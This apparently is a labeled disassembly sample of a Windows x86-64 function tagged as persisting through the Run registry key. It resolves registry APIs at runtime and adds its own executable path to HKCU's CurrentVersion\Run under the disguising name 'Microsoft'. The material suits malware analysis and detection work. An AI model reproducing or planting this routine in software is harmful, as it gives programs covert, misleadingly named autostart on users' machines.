Function at 0x140003814
Capabilities:
Persist via run registry key

Disassembly:
push rbp
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
lea rax, [0x14009b310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x14000386e
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_load_advapi32.dll_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x140003b34
mov rax, qword [rbp + 0xf8]
lea rdx, str.RegOpenKeyExA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf8]
lea rdx, str.RegSetValueExA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xf8]
lea rdx, str.RegCloseKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe0], rax
cmp qword [rbp + 0xf0], 0
je 0x1400038ef
cmp qword [rbp + 0xe8], 0
je 0x1400038ef
cmp qword [rbp + 0xe0], 0
jne 0x140003927
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_get_function_pointers_from_advapi32.dll_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140003b34
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetModuleFileNameA
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
je 0x140003981
mov r9, qword [rbp + 0xd8]
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
call r9
test eax, eax
jne 0x140003988
mov eax, 1
jmp 0x14000398d
mov eax, 0
test al, al
je 0x1400039c9
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_get_executable_path_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140003b34
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0xd0], rax
lea rax, str.Microsoft
mov qword [rbp + 0xc8], rax
mov r10, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xd0]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
call r10
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
je 0x140003a65
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov eax, dword [rbp + 0xc4]
mov r8d, eax
lea rax, str.Failed_to_open_registry_key__error_code:__d_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140003b34
mov rbx, qword [rbp + 0xe8]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.strlen
lea ecx, [rax + 1]
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp + 0xc8]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
call rbx
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
je 0x140003b01
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov eax, dword [rbp + 0xc4]
mov r8d, eax
lea rax, str.Failed_to_set_registry_value__error_code:__d_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp - 0x48]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140003b34
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp - 0x48]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
lea rax, str.Added_to_Windows_startup_registry_successfully__n
mov rcx, rax
call sym.printf_char_const__::_
nop
add rsp, 0x188
pop rbx
pop rbp
ret